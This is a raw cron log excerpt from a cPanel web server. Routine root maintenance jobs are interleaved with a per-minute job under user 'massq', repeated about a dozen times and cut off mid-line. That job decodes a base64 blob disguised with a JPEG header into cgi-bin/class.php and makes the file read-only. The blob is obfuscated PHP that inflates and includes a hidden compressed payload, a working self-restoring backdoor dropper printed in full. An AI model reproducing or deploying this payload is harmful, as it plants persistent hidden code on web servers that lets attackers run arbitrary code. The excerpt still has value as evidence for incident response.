Aug 31 20:50:01 server CROND[12858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:50:01 server CROND[12860]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 20:50:01 server CROND[12862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:50:01 server CROND[12864]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:50:01 server CROND[12865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:50:01 server CROND[12867]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 20:51:01 server CROND[13677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:51:01 server CROND[13678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:51:01 server CROND[13679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:52:01 server CROND[14151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:52:01 server CROND[14152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:52:01 server CROND[14153]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:53:01 server CROND[14580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:53:01 server CROND[14581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:53:01 server CROND[14579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:54:01 server CROND[14968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:54:01 server CROND[14969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:54:01 server CROND[14967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:55:01 server CROND[15361]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:55:01 server CROND[15360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:55:01 server CROND[15359]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:55:01 server CROND[15362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:55:01 server CROND[15364]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 20:55:01 server CROND[15363]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 20:55:01 server CROND[15365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:56:01 server CROND[16210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:56:01 server CROND[16211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:56:01 server CROND[16212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:57:01 server CROND[16610]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 20:57:01 server CROND[16612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:57:01 server CROND[16611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:57:01 server CROND[16613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:58:01 server CROND[17036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:58:01 server CROND[17037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:58:01 server CROND[17038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:59:01 server CROND[17468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:59:01 server CROND[17469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:59:01 server CROND[17470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:00:01 server CROND[17844]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 21:00:01 server CROND[17847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:00:01 server CROND[17845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:00:01 server CROND[17848]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 21:00:01 server CROND[17854]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:00:01 server CROND[17853]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 21:00:01 server CROND[17851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:00:01 server CROND[17864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:00:01 server CROND[17858]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 21:01:01 server CROND[18689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:01:01 server CROND[18690]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 21:01:01 server CROND[18688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:01:01 server CROND[18691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > 